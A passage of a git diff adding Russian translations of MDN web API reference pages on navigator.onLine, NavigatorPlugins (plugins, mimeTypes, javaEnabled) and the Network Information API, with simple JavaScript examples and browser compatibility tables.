+   <td>{{CompatGeckoMobile(29)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс {{domxref("Navigator")}} который реализует его.</li>
+</ul>
diff --git a/files/ru/web/api/navigatoronline/online/index.html b/files/ru/web/api/navigatoronline/online/index.html
new file mode 100644
index 0000000000..afb1f8380b
--- /dev/null
+++ b/files/ru/web/api/navigatoronline/online/index.html
@@ -0,0 +1,147 @@
+---
+title: NavigatorOnLine.onLine
+slug: Web/API/NavigatorOnLine/onLine
+translation_of: Web/API/NavigatorOnLine/onLine
+---
+<p>{{ApiRef("HTML DOM")}}</p>
+
+<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Возвращает</span> <span class="hps">сетевой статус</span> <span class="hps">браузера</span><span>.</span></span> Свойство возвращает логическое (boolean) значение, <code>true</code> означает online и <code>false</code> означает offline.<span id="result_box" lang="ru"><span>Свойство</span> <span class="hps">обновляется</span> <span class="hps">всякий раз, когда</span> <span class="hps">способность</span> <span class="hps">браузера</span> <span class="hps">к подключению к</span> <span class="hps">сети</span> <span class="hps">изменится</span><span>.</span></span> <span id="result_box" lang="ru"><span>Обновление происходит тогда</span><span>, когда</span> <span class="hps">пользователь следует по</span> <span class="hps">ссылке или</span> <span class="hps">когда</span> <span class="hps">скрипт</span> <span class="hps">запрашивает</span> <span class="hps">удаленную страницу</span></span>. <span id="result_box" lang="ru"><span class="hps">Например,</span> свойство<span class="hps"> должно</span> <span class="hps">вернуть <code>false</code></span><span>, когда</span> <span class="hps">пользователь кликает по</span> <span class="hps">ссылке,</span> <span class="hps">вскоре после</span> <span class="hps">потери</span> <span class="hps">подключения к интернету</span><span>.</span></span></p>
+
+<p>Браузеры реализуют это свойство по-разному.</p>
+
+<p>В Chrome и Safari, если браузер не может соединиться с локальной сетью (LAN) или роутером, это будет означать offline; во всех остальных случаях вернется <code>true</code>.Таким образом, мы можем предположить что браузер не в сети, когда возвращаемое значение <code>false</code>, но вы не можете предположить  что значение true обязательно обозначает что браузер может получить доступ к интернету. <span id="result_box" lang="ru"><span class="hps">Вы можете</span> <span class="hps">получать</span> <span class="hps">ложные срабатывания</span><span>, например,</span> <span class="hps">в случаях, когда</span> <span class="hps">компьютер</span> <span class="hps">под управлением</span> <span class="hps">программного обеспечения</span> <span class="hps">для виртуализации</span><span>, которое имеет</span> <span class="hps">виртуальные</span> <span class="hps">сетевые адаптеры</span><span>, которые всегда</span> <span class="atn hps">"</span><span>Подключено".</span></span> <span id="result_box" lang="ru"><span class="hps">Поэтому</span><span>,</span> <span class="hps">если вы действительно хотите</span><span>, чтобы</span> <span class="hps">определять состояние</span> <span class="hps">браузера</span><span>,</span> <span class="hps">вы должны разработать</span> <span class="hps">дополнительные средства</span> <span class="hps">проверки</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Чтобы узнать больше</span><span>, см</span>отрите <span class="hps">статью</span> <span class="hps">HTML5</span></span> <a class="external" href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html"> Working Off the Grid</a>.</p>
+
+<p><span id="result_box" lang="ru"><span class="hps">В Firefox</span> <span class="hps">и</span> <span class="hps">Internet Explorer</span><span>, переключение</span> <span class="hps">браузер</span>а <span class="hps">в автономный режим</span> <span class="hps">посылает</span> </span><code>false</code> значение. Во всех остальных случаях возвращается значение<code> true</code>.</p>
+
+<p><span id="result_box" lang="ru"><span class="hps">Вы можете</span> <span class="hps">увидеть изменения</span> <span class="hps">в</span> <span class="hps">состоянии сети</span> <span class="hps">путем прослушивания</span> <span class="hps">событий </span></span><a href="/en-US/docs/Web/API/document.ononline"><code>window.ononline</code></a> и <a href="/en-US/docs/Web/API/document.onoffline"><code>window.onoffline</code></a>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>online</em> = <em>window</em>.navigator.onLine;
+</pre>
+
+<h3 id="Описание">Описание</h3>
+
+<p><code>online </code>это логическое <code>true</code> или <code>false</code>.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Посмотрите на <a class="external" href="http://html5-demos.appspot.com/static/navigator.onLine.html">действующий пример</a>.</p>
+
+<p>Для проверки находитесь ли вы в сети, вызовите<code> window.navigator.onLine</code>, как показано в примере:</p>
+
+<pre class="brush: js">if (navigator.onLine) {
+  alert('online');
+} else {
+  alert('offline');
+}</pre>
+
+<p>Если браузер не поддерживает<code> navigator.onLine</code> в примере выше, то всегда будет<code> false</code>/<code>undefined</code>.</p>
+
+<p>Чтобы увидеть изменения в состоянии сети, используйте <code><a href="/en-US/docs/DOM/element.addEventListener" title="DOM/element.addEventListener">addEventListener</a></code> для прослушивания событий <code>window.ononline</code> и <code>window.onoffline</code>, как показано в примере:</p>
+
+<pre class="brush: js">window.addEventListener("offline", function(e) {alert("offline");})
+
+window.addEventListener("online", function(e) {alert("online");})
+</pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость в браузерах</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>
+    <p>Windows: 11 [2]<br>
+     Mac: 14<br>
+     Chrome OS: 13<br>
+     Linux: всегда возвращает <code>true</code></p>
+
+    <p>Просмотр истории <a class="external" href="http://crbug.com/7469" title="http://crbug.com/7469">crbug.com/7469</a></p>
+   </td>
+   <td>{{CompatGeckoDesktop(1.9.1)}}  [1]</td>
+   <td>8 [3]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>5.0.4</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(29)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>BlackBerry</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>Android 2.2 (<span class="short_text" id="result_box" lang="ru"><span class="hps">Неисправность</span> <span class="hps">в компоненте</span> <span class="hps">WebView</span><span>, см</span> <span class="hps">описание</span></span><a class="external" href="http://code.google.com/p/android/issues/detail?id=16760">16760</a>)</td>
+   <td>{{CompatGeckoMobile(1.9.1)}}  [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>BlackBerry OS 7<br>
+     <span style="line-height: 1.5;">BlackBerry OS 10</span></p>
+   </td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(29)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> {{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <span id="result_box" lang="ru"><span class="hps">Начиная с</span> <span class="hps">Firefox</span> <span class="hps">4</span><span>,</span> <span class="hps">и</span> <span class="hps">Opera</span> <span class="hps">11.10</span><span>,</span> <span class="hps">браузер возвращает</span> <span class="hps"><code>true</code>, когда</span> <span class="hps">режим</span> <span class="atn hps">"</span><span>Работать автономно</span><span>"</span> <span class="hps">отключен, и</span> <code><span class="hps">false</span></code><span>, когда</span> <span class="hps">он включен</span><span>,</span> <span class="hps">независимо от фактического</span> <span class="hps">подключения</span><span>.</span></span></p>
+
+<p>[2]<span id="result_box" lang="ru"><span class="hps"> Более ранние версии</span> <span class="hps">Chrome</span> <span class="hps">возвращали</span> <span class="hps"><code>true</code> неверно, когда</span> <span class="hps">вкладка</span> <span class="hps">открывается впервые,</span> <span class="hps">то он</span> вначале сообщает правильный статус <span class="hps">подключения</span> <span class="hps">после</span> <span class="hps">первого события</span> <span class="hps">сети.</span></span></p>
+
+<p>[3] В IE 8 "online" и "offline" события находятся в <code>document.body</code>; Под IE 9 они оба находятся <code>в document.body</code> и <code>window</code>.</p>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p><span id="result_box" lang="ru"><span class="hps">См</span> </span><a href="/en-US/docs/Online_and_offline_events" title="Online_and_offline_events">Online/Offline</a><span lang="ru"><span class="hps"> события</span> <span class="hps">для более детального</span> <span class="hps">описания</span> <span class="hps">этого</span> <span class="hps">свойства, а также</span> <span class="hps">новых возможностей</span> <span class="hps">в автономном режиме</span><span>,  </span><span class="hps">введенных</span> <span class="hps">в</span></span> Firefox 3.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Описана в</span> <a href="http://www.whatwg.org/specs/web-apps/current-work/#navigator.online">рабочем проекте HTML 5</a></span></p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html">HTML5 Rocks: Working Off the Grid With HTML5 Offline</a></li>
+ <li><a class="external" href="http://www.html5rocks.com/en/tutorials/offline/whats-offline/">HTML5 Rocks: "Offline": What does it mean and why should I care?</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2010/01/offline-web-applications/">Mozilla Blog: Offline Web Applications</a></li>
+</ul>
diff --git a/files/ru/web/api/navigatorplugins/index.html b/files/ru/web/api/navigatorplugins/index.html
new file mode 100644
index 0000000000..2273585e11
--- /dev/null
+++ b/files/ru/web/api/navigatorplugins/index.html
@@ -0,0 +1,105 @@
+---
+title: NavigatorPlugins
+slug: Web/API/NavigatorPlugins
+translation_of: Web/API/NavigatorPlugins
+---
+<p>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</p>
+
+<p><span id="result_box" lang="ru"><span>Интерфейс</span> <code><strong><span class="hps">NavigatorPlugins</span></strong></code> <span class="hps">содержит методы и</span> <span class="hps">свойства, связанные</span> <span class="hps">с</span> <span class="hps">установленными плагинами</span> <span class="hps">в браузере</span><span>.</span></span></p>
+
+<p><code>NavigatorPlugins</code> не содержит в себе объектов другово типа, но другие интерфейсы, такие как {{domxref("Navigator")}} реализуют его<code>.</code></p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref("MimeTypeArray")}} листинг MIME типов поддерживаемые браузером.</dd>
+ <dt>{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает листинг плагинов {{domxref("PluginArray")}}, установленных в браузере.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p>Интерфейс <em><code>NavigatorPlugins</code></em> не наследует никаких методов.</p>
+
+<dl>
+ <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает флаг {{domxref("Boolean")}} показывающий включен ли java в браузере или нет.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#navigatorplugins', 'NavigatorPlugins')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузерах">Доступность в браузерах</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс {{domxref("Navigator")}} реализующий его.</li>
+</ul>
diff --git a/files/ru/web/api/navigatorplugins/javaenabled/index.html b/files/ru/web/api/navigatorplugins/javaenabled/index.html
new file mode 100644
index 0000000000..742f650c2c
--- /dev/null
+++ b/files/ru/web/api/navigatorplugins/javaenabled/index.html
@@ -0,0 +1,28 @@
+---
+title: NavigatorPlugins.javaEnabled()
+slug: Web/API/NavigatorPlugins/javaEnabled
+translation_of: Web/API/NavigatorPlugins/javaEnabled
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p>Этот метод показывает включен ли java в текущем браузере или нет.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>result</em> = window.navigator.javaEnabled()
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="eval">if (window.navigator.javaEnabled()) {
+   // browser has java
+}
+</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>Возвращаемое значение этого метода показывает положение java, включен ли или выключен - не предполагает поддержку java браузером полностью.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><span class="short_text" id="result_box" lang="ru">Не является <span class="hps">частю</span> <span class="hps">какой-либо</span> <span class="hps">спецификации</span><span>.</span></span></p>
diff --git a/files/ru/web/api/navigatorplugins/mimetypes/index.html b/files/ru/web/api/navigatorplugins/mimetypes/index.html
new file mode 100644
index 0000000000..d5ebe43956
--- /dev/null
+++ b/files/ru/web/api/navigatorplugins/mimetypes/index.html
@@ -0,0 +1,39 @@
+---
+title: NavigatorPlugins.mimeTypes
+slug: Web/API/NavigatorPlugins/mimeTypes
+translation_of: Web/API/NavigatorPlugins/mimeTypes
+---
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<div> </div>
+
+<h2 id="Summary" name="Summary">Резюме</h2>
+
+<p>Возвращает объект {{domxref("MimeTypeArray")}}, который содержит список объектов {{domxref("MimeType")}}, представляющий собой MIME-типы, известные браузеру.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>mimeTypes</var> = navigator.mimeTypes;
+</pre>
+
+<p><code>mimeTypes</code> - объект <code>MimeTypeArray,</code> который имеет свойство <code>length</code>, <span id="result_box" lang="ru"><span>а также</span> методы </span><code>item(index)</code><span lang="ru"><span> и</span> </span><code>namedItem(name)</code><span lang="ru"><span>.</span></span></p>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre class="brush:js">function isJavaPresent() {
+  return 'application/x-java-applet' in navigator.mimeTypes;
+}
+
+function getJavaPluginDescription() {
+  var mimetype = navigator.mimeTypes['application/x-java-applet'];
+  if (mimetype === undefined) {
+    // no Java plugin present
+    return undefined;
+  }
+  return mimetype.enabledPlugin.description;
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><em>Не является частью какой-либо спецификации.</em></p>
diff --git a/files/ru/web/api/navigatorplugins/plugins/index.html b/files/ru/web/api/navigatorplugins/plugins/index.html
new file mode 100644
index 0000000000..bf9b5bebda
--- /dev/null
+++ b/files/ru/web/api/navigatorplugins/plugins/index.html
@@ -0,0 +1,63 @@
+---
+title: NavigatorPlugins.plugins
+slug: Web/API/NavigatorPlugins/plugins
+translation_of: Web/API/NavigatorPlugins/plugins
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>Возвращает объект {{domxref("PluginArray")}}, список плагинов установленых в приложении.</p>
+
+<div class="note">Приложения, которые должны проверять наличие плагинов у браузера должны запросить navigator.plugins или {{domxref("navigator.mimeTypes")}} с точным названием плагина, а не перебирать массив navigator.plugins сравненивая имя каждого плагина. Это изменение конфиденциальности не отключает все плагины; оно просто скрывает некоторые имена плагинов от перебора.</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>plugins</var> = navigator.plugins;
+</pre>
+
+<p><code>plugins</code> используется для доступа к объекту {{domxref("Plugin")}} или по имени, или как элемент массива..</p>
+
+<p>Возвращаемое значение не массив JavaScript, но оно имеет свойство размера и поддерживает доступ к индивидуальным элементам с использованием квадратных скобок (<code>plugins{{mediawiki.external(2)}}</code>), <span id="result_box" lang="ru"><span class="hps">а также через</span> <span class="hps">пункт</span> <span class="hps">(индекс</span><span>)</span> <span class="hps">и</span> <span class="hps">namedItem</span> <span class="hps">("Name"</span><span>)</span> <span class="hps">методы.</span></span></p>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<p><span id="result_box" lang="ru"><span>Следующий пример</span> <span class="hps">функции</span> <span class="hps">возвращает версию</span> <span class="hps">Flash.</span></span></p>
+
+<pre>function getFlashVersion() {
+  var flash = navigator.plugins['Shockwave Flash'];
+  if (flash === undefined) {
+    // flash is not present
+    return undefined;
+  }
+  return flash.version;
+}
+</pre>
+
+<p><span id="result_box" lang="ru"><span>Следующий пример</span> <span class="hps">выводит</span> <span class="hps">информацию</span> <span class="hps">об установленном</span>(ых) <span class="hps">плагине</span> <span class="atn hps">(</span><span>ах) для</span> <span class="hps">документа</span> <span class="hps">высокого уровня.</span></span></p>
+
+<pre class="brush:js">var L = navigator.plugins.length;
+
+document.write(
+  L.toString() + " Plugin(s)&lt;br&gt;" +
+  "Name | Filename | description&lt;br&gt;"
+);
+
+for(var i = 0; i &lt; L; i++) {
+  document.write(
+    navigator.plugins[i].name +
+    " | " +
+    navigator.plugins[i].filename +
+    " | " +
+    navigator.plugins[i].description +
+    " | " +
+    navigator.plugins[i].version +
+    "&lt;br&gt;"
+  );
+}</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>{{domxref("Plugin")}} <span id="result_box" lang="ru"><span class="hps">объект, предоставляет</span> <span class="hps">небольшой</span> <span class="hps">интерфейс</span> <span class="hps">для получения</span> <span class="hps">информации</span> <span class="hps">о различных</span> <span class="hps">плагинах</span><span>, установленных в</span> <span class="hps">вашем браузере</span><span>. Список плагинов также доступен если ввести </span></span><code>about:plugins</code> в адресную строку браузера.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><em>Не определено ни к какой спецификации.</em></p>
diff --git a/files/ru/web/api/network_information_api/index.html b/files/ru/web/api/network_information_api/index.html
new file mode 100644
index 0000000000..235567b5e4
--- /dev/null
+++ b/files/ru/web/api/network_information_api/index.html
@@ -0,0 +1,87 @@
+---
+title: Network Information API
+slug: Web/API/Network_Information_API
+translation_of: Web/API/Network_Information_API
+---
+<div>{{DefaultAPISidebar("Network Information API")}}{{SeeCompatTable}}</div>
+
+<p>API Network Information позволяет определить тип интернет-подключения системы (<code>'wifi'</code>,  <code>'cellular'</code> и т.д.). Эту информацию можно использовать, к примеру, для того, чтобы предоставлять контент большего либо меньшего разрешения в зависимости от качества соединения. Весь API состоит из интерфейса {{domxref("NetworkInformation")}}, добавленного в глобальный объект {{domxref("Navigator")}} как свойство {{domxref("Navigator.connection")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Определение_изменения_соединения">Определение изменения соединения</h3>
+
+<p>Данный пример отслеживает изменение подключения пользователя.</p>
+
+<pre class="brush: js notranslate">var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
+var type = connection.effectiveType;
+
+function updateConnectionStatus() {
+  console.log("Connection type changed from " + type + " to " + connection.effectiveType);
+  type = connection.effectiveType;
+}
+
+connection.addEventListener('change', updateConnectionStatus);
+</pre>
+
+<h3 id="Предварительная_загрузка_крупных_ресурсов">Предварительная загрузка крупных ресурсов</h3>
+
+<p>The connection object is useful for deciding whether to preload resources that take large amounts of bandwidth or memory. This example would be called soon after page load to check for a connection type where preloading a video may not be desirable. If a cellular connection is found, then the <code>preloadVideo</code> flag is set to false. For simplicity and clarity, this example only tests for one connection type. A real-world use case would likely use a switch statement or some other method to check all of the possible values of {{domxref("NetworkInformation.type")}}. Regardless of the <code>type</code> value you can get an estimate of connection speed through the {{domxref("NetworkInformation.effectiveType")}} property.</p>
+
+<pre class="brush: js notranslate">let preloadVideo = true;
+var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
+if (connection) {
+  if (connection.effectiveType === 'slow-2g') {
+    preloadVideo = false;
+  }
+}</pre>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("NetworkInformation")}}</dt>
+ <dd>Даёт возможность получить информацию о сетевом соединении, а также возможность получать события при изменении типа соединения. Невозможно создавать экземпляры данного интерфейса, для получения доступа используйте {{domxref("Navigator")}}.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Network Information', '', 'Network Information API')}}</td>
+   <td>{{Spec2('Network Information')}}</td>
+   <td>Изначальная спецификация.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<h3 id="NetworkInformation"><code>NetworkInformation</code></h3>
+
+
+
+<p>{{Compat("api.NetworkInformation")}}</p>
+
+<h3 id="Navigator.connection"><code>Navigator.connection</code></h3>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.Navigator.connection")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{spec("http://w3c.github.io/netinfo/", "Network Information API Specification", "ED")}}</li>
+ <li><a href="/en-US/docs/Online_and_offline_events">Online and offline events</a></li>
+ <li>{{domxref("Navigator.connection", "window.navigator.connection")}}</li>
+</ul>
diff --git a/files/ru/web/api/networkinformation/connection/index.html b/files/ru/web/api/networkinformation/connection/index.html
new file mode 100644
index 0000000000..607101a911
--- /dev/null
+++ b/files/ru/web/api/networkinformation/connection/index.html
@@ -0,0 +1,100 @@
+---
+title: NetworkInformation.connection
+slug: Web/API/NetworkInformation/connection
+translation_of: Web/API/Navigator/connection
+---
+<p>{{ apiref("Network Information API") }}</p>
+
+<p>{{ SeeCompatTable() }}</p>
+
+<p><code><strong>NetworkInformation.connection</strong></code> свойство только для чтения представляющее собой {{domxref("Connection")}} содержащий информацию о системном подключении, таких как текущая пропускная способность пользовательского устройства или определено ли соеденение. Это может быть использовано для выбора контента высокой плотности или контента низкой плотности в соединении пользователя.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>connectionInfo</em> = navigator.connection</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Network Information', '#h-the-connection-attribute', 'NetworkInformation.connection') }}</td>
+   <td>{{ Spec2('Network Information') }}</td>
+   <td>Первоначальная спецификация.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatNo() }}</td>
+   <td>12.0<br>
+    behind the flag</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>2.2 {{ property_prefix("webkit") }}</td>
+   <td>12.0</td>
+   <td>1.4</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Заметка_для_Gecko">Заметка для Gecko</h3>
+
+<ul>
+ <li>Network API может быть отключена  используя <code>dom.netinfo.enabled</code>.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Network_Information" title="/en-US/docs/WebAPI/Network_Information">Network Information API</a></li>
+ <li><a href="/en/Online_and_offline_events" title="en/Online_and_offline_events">Онлайн и оффлайн события</a></li>
+ <li><a class="external" href="https://github.com/soapdog/firefoxos-sample-app-image-uploader" title="Firefox OS Image Uploader Sample App">Firefox OS Image Uploader Sample App</a></li>
+</ul>
diff --git a/files/ru/web/api/networkinformation/index.html b/files/ru/web/api/networkinformation/index.html
new file mode 100644
index 0000000000..a19e2ba12a
--- /dev/null
+++ b/files/ru/web/api/networkinformation/index.html
@@ -0,0 +1,107 @@
+---
+title: NetworkInformation
+slug: Web/API/NetworkInformation
+translation_of: Web/API/NetworkInformation
+---
+<p>{{APIRef("Network Information API")}}{{SeeCompatTable}}</p>
+
+<p>Интерфейс <code><strong>NetworkInformation</strong></code> содержит методы и свойства, связанные с типом сети браузера.</p>
+
+<p>В нем нет объектов типа  <code>NetworkInformation</code>, но другие интерфейсы, такие как {{domxref("Navigator")}}, реализуют его.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em><code>Интерфейс NetworkInformation</code></em><em> не наследует других свойств.</em></p>
+
+<dl>
+ <dt>{{domxref("NetworkInformation.connection")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("Connection")}} предоставляет информацию о сетевом соединении устройства.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><code>Интерфейс NetworkInformation</code><em> ничего не предоставляет и не наследует других методов.</em></p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Network Information', '#idl-def-NetworkInformation', 'NetworkInformation') }}</td>
+   <td>{{ Spec2('Network Information') }}</td>
+   <td>Изначальная спецификация</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузерах">Доступность в браузерах</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>базовая поддержка</td>
+   <td>20? {{ property_prefix("webkit") }}</td>
+   <td>12.0 {{ property_prefix("moz") }} (see notes)</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatNo() }}</td>
+   <td>12.0 {{ property_prefix("moz") }} (see notes)</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
